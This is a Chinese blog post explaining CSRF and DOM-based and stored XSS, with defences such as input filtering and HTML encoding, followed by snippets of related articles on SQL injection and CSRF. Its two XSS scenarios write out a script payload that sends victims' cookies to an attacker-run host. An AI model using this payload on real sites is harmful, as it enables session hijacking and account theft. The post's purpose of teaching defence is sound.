CSRF攻击 & XSS攻击

之前有几篇文章写了 SQL注入类问题:

http://www.cnblogs.com/charlesblc/p/5987951.html (介绍)

http://www.cnblogs.com/charlesblc/p/5988919.html (PDO及防御)

以及

http://www.cnblogs.com/charlesblc/p/5989864.html(Java中的防御)

今天收到一个安全工单,关于CSRF攻击的,查资料看了一下。

CSRF(Cross-site request forgery),中文名称:跨站请求伪造,也被称为:one click attack/session riding,缩写为:CSRF/XSRF。

参考了这篇文章:

http://www.cnblogs.com/hyddd/archive/2009/04/09/1432744.html

感觉是利用用户的原始cookie,去做一些事情。

另外,还提到了 XSS攻击。

我之前这篇文章也写了:

http://www.cnblogs.com/charlesblc/p/5990130.html

再参考下面这篇文章:

http://blog.csdn.net/ghsau/article/details/17027893

XSS攻击分为两种,一种是DOM Based XSS漏洞,另一种是Stored XSS漏洞。理论上,所有可输入的地方没有对输入数据进行处理的话,都会存在XSS漏洞,漏洞的危害取决于攻击代码的威力,攻击代码也不局限于script。

DOM Based XSS

DOM Based XSS是一种基于网页DOM结构的攻击,该攻击特点是中招的人是少数人。

场景一

当我登录a.com后,我发现它的页面某些内容是根据url中的一个叫content参数直接显示的,猜测它测页面处理可能是这样:

 <body>

       页面内容:<%=request.getParameter("content")%>

 </body>

我知道了Tom也注册了该网站,并且知道了他的邮箱(或者其它能接收信息的联系方式),我做一个超链接发给他,超链接地址为:

http://www.a.com?content=<script>window.open(“www.b.com?param=”+document.cookie)</script>,

当Tom点击这个链接的时候(假设他已经登录a.com),浏览器就会直接打开b.com,并且把Tom在a.com中的cookie信息发送到b.com,b.com是我搭建的网站,当我的网站接收到该信息时,我就盗取了Tom在a.com的cookie信息,cookie信息中可能存有登录密码,攻击成功!

这个过程中,受害者只有Tom自己。那当我在浏览器输入a.com?content=<script>alert(“xss”)</script>,浏览器展示页面内容的过程中,就会执行我的脚本,页面输出xss字样,这是攻击了我自己,那我如何攻击别人并且获利呢?

Stored XSS

Stored XSS是存储式XSS漏洞,由于其攻击代码已经存储到服务器上或者数据库中,所以受害者是很多人。

场景二

a.com可以发文章,我登录后在a.com中发布了一篇文章,文章中包含了恶意代码,

<script>window.open(“www.b.com?param=”+document.cookie)</script>,

保存文章。这时Tom和Jack看到了我发布的文章,当在查看我的文章时就都中招了,他们的cookie信息都发送到了我的服务器上,攻击成功!

这个过程中,受害者是多个人。Stored XSS漏洞危害性更大,危害面更广。

XSS防御

我们是在一个矛盾的世界中,有矛就有盾。只要我们的代码中不存在漏洞,攻击者就无从下手,我们要做一个没有缝的蛋。XSS防御有如下方式。

完善的过滤体系

永远不相信用户的输入。需要对用户的输入进行处理,只允许输入合法的值,其它值一概过滤掉。

Html encode

假如某些情况下,我们不能对用户数据进行严格的过滤,那我们也需要对标签进行转换。


less-than character (<)


&lt;


greater-than character (>)


&gt;


ampersand character (&)


&amp;


double-quote character (")


&quot;


space character( )


&nbsp;


Any ASCII code character whose code is greater-than or equal to 0x80


&#<number>, where <number> is the ASCII character value.

比如用户输入:<script>window.location.href=”http://www.baidu.com”;</script>,保存后最终存储的会是:&lt;script&gt;window.location.href=&quot;http://www.baidu.com&quot;&lt;/script&gt;

在展现时浏览器会对这些字符转换成文本内容显示,而不是一段可执行的代码。

(完)

时间: 2024-10-08 20:59:44

CSRF攻击 & XSS攻击的相关文章

注入攻击-XSS攻击-CSRF攻击

1.注入攻击 注入攻击包括系统命令注入,SQL注入,NoSQL注入,ORM注入等 1.1攻击原理 在编写SQL语句时,如果直接将用户传入的数据作为参数使用字符串拼接的方式插入到SQL查询中,那么攻击者可以通过注入其他语句来执行攻击操作,这些攻击操作包括可以通过SQL语句做的任何事:获取敏感数据.修改数据.删除数据库 1.2攻击示例 cur = db.execute("SELECT * FROM students WHERE password='%s';" % password); 如果

web 安全问题(二):XSS攻击

上文说完了CSRF攻击,本文继续研究它的兄弟XSS攻击. 什么是XSS攻击 XSS攻击的原理 XSS攻击的方法 XSS攻击防御的手段 什么是XSS攻击 XSS攻击全名(Cross-Site-Script)跨域脚本攻击,为了跟CSS(Cascading-Style-Sheet)区分开来,所以缩写是XSS. XSS攻击的原理 上一节说道的CSRF攻击是利用的是"伪请求",这一节的XSS的原理是利用脚本注入的方式. 主要是依靠一切可能的手段,将浏览器中可以执行的脚本(javascript)植

XSS攻击与防范

1.什么是XSS攻击 XSS攻击,跨站脚本攻击 跨站脚本攻击(Cross Site Scripting),为不和层叠样式表(Cascading Style Sheets,CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS.恶意攻击者往Web页面里插入恶意Script代码,当用户浏览该页之时,嵌入其中Web里面的Script代码会被执行,从而达到恶意攻击用户的目的. xss攻击,就是给form表单的项目里边填写一些html.css.js等脚本代码,这些代码就会被收集到数据库里边,当对应的内容展示的时

XSS攻击及防御

本文来自:高爽|Coder,原文地址:http://blog.csdn.net/ghsau/article/details/17027893,转载请注明.       XSS又称CSS,全称Cross SiteScript,跨站脚本攻击,是Web程序中常见的漏洞,XSS属于被动式且用于客户端的攻击方式,所以容易被忽略其危害性.其原理是攻击者向有XSS漏洞的网站中输入(传入)恶意的HTML代码,当其它用户浏览该网站时,这段HTML代码会自动执行,从而达到攻击的目的.如,盗取用户Cookie.破坏页

Django信息安全相关之CSRF和XSS

什么是xss攻击 xss攻击: 黑客把恶意的JS脚本提交到后端,后端把恶意脚本渲染显示出来     什么是CSRF? 1.你登录建行官网后 你的浏览器就保存了建行网站的cokie,(如果不关闭这个页面cookie一直生效,就可以发送任何请求)专门在cappron试了一下: 2.与此同时你 点了其他恶意页面(CSRF攻击的条件) 3.这个页面携带着你的cokie 伪造你 向到招商银行提交 一个转账form表单你就傻逼了! (问题关键:登录某网站之后有了cokie,就可以发送任何请求:这时候最危险)

SQL 注入、XSS 攻击、CSRF 攻击

SQL 注入.XSS 攻击.CSRF 攻击 SQL 注入 什么是 SQL 注入 SQL 注入,顾名思义就是通过注入 SQL 命令来进行攻击,更确切地说攻击者把 SQL 命令插入到 web 表单或请求参数的查询字符串里面提交给服务器,从而让服务器执行编写的恶意的 SQL 命令. 对于 web 开发者来说,SQL 注入已然是非常熟悉的,而且 SQL 注入已经生存了 10 多年,目前已经有很成熟的防范方法,所以目前的 web 应用都很少会存在漏洞允许进行 SQL 注入攻击. 除非是入门开发人员,在开发

网站攻防之CSRF和XSS跨站脚本攻击

进入正题之前,先扯一番:黑客本义并非某些人以为的利用网络干坏事的人,刚开始或者说现在的很多,黑客是以技术大牛的形式存在的,也就是在网络领域有一门专场的牛人.有些黑客不干坏事而是干好事,比如利用网站的漏洞,去告诉网站开发运营者你的网站有漏洞,要修补啦,他们却并不会利用这漏洞干坏事,而是以发现漏洞追求技术快感为享受. 说是网站攻防演练,但估计这套东西已经很老很少用了,毕竟作为课程实验的实例都是"经典"的.不过里面的攻防思想特别是利用漏洞的思想对于学习是很有用处的. (下面对于CSRF的解释

web框架--XSS攻击和CSRF请求伪造

XSS 跨站脚本攻击(Cross Site Scripting),为不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS.恶意攻击者往Web页面里插入恶意Script代码,当用户浏览该页之时,嵌入其中Web里面的Script代码会被执行,从而达到恶意攻击用户的特殊目的. tornado中已经为我们给屏蔽了XSS,但是当我们后端向前端写前端代码的时候传入浏览器是字符串,而不是形成代码格式.所以就需要一个反解,在传入模板语言中前面加一个ra

web安全(xss攻击和csrf攻击)

1.CSRF攻击: CSRF(Cross-site request forgery):跨站请求伪造. (1).攻击原理: 如上图,在B网站引诱用户访问A网站(用户之前登录过A网站,浏览器 cookie 缓存了身份验证信息), 通过调用A网站的接口攻击A网站. (2).防御措施: 1)token验证:登陆成功后服务器下发token令牌存到用户本地,再次访问时要主动发送token,浏览器只能主动发cookie,做不到主动发token 2)referer验证:判断页面来源是否自己站点的页面,不是不执行